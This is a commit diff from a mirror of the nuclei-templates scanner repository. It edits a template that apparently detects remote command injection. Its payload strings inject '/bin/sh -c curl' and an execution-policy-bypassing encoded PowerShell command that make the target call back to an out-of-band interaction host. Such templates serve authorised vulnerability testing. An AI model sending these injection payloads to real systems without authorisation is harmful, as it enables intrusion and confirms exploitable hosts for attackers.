mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-01-31 15:53:33 +08:00
Fix command2 to use curl
This commit is contained in:
@@ -62,7 +62,7 @@ javascript:
|
||||
const m = require('nuclei/net');
|
||||
|
||||
const command1 = "/bin/sh -c curl http://" + oast;
|
||||
const command2 = "cmd.exe /c powershell.exe -nop -ep bypass -e " + btoa("http://" + oast);
|
||||
const command2 = "cmd.exe /c powershell.exe -nop -ep bypass -e " + btoa("curl http://" + oast);
|
||||
const address = Host+":"+Port;
|
||||
const version = template.version;
|
||||
|
||||
@@ -221,4 +221,4 @@ javascript:
|
||||
- "contains(response, 'HELO:')"
|
||||
- "contains(interactsh_protocol, 'http')"
|
||||
condition: and
|
||||
# digest: 4b0a00483046022100ec5727d528454e62eead5176313c9c46cb65ad11a052612459ac8a0fed381782022100f4d0874fa7a9deeb02d7e24d2044f9d534277a0b220cc11f0a57c470e3355e83:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100ec5727d528454e62eead5176313c9c46cb65ad11a052612459ac8a0fed381782022100f4d0874fa7a9deeb02d7e24d2044f9d534277a0b220cc11f0a57c470e3355e83:922c64590222798bb761d5b6d8e72950
|
||||
|
||||
Reference in New Issue
Block a user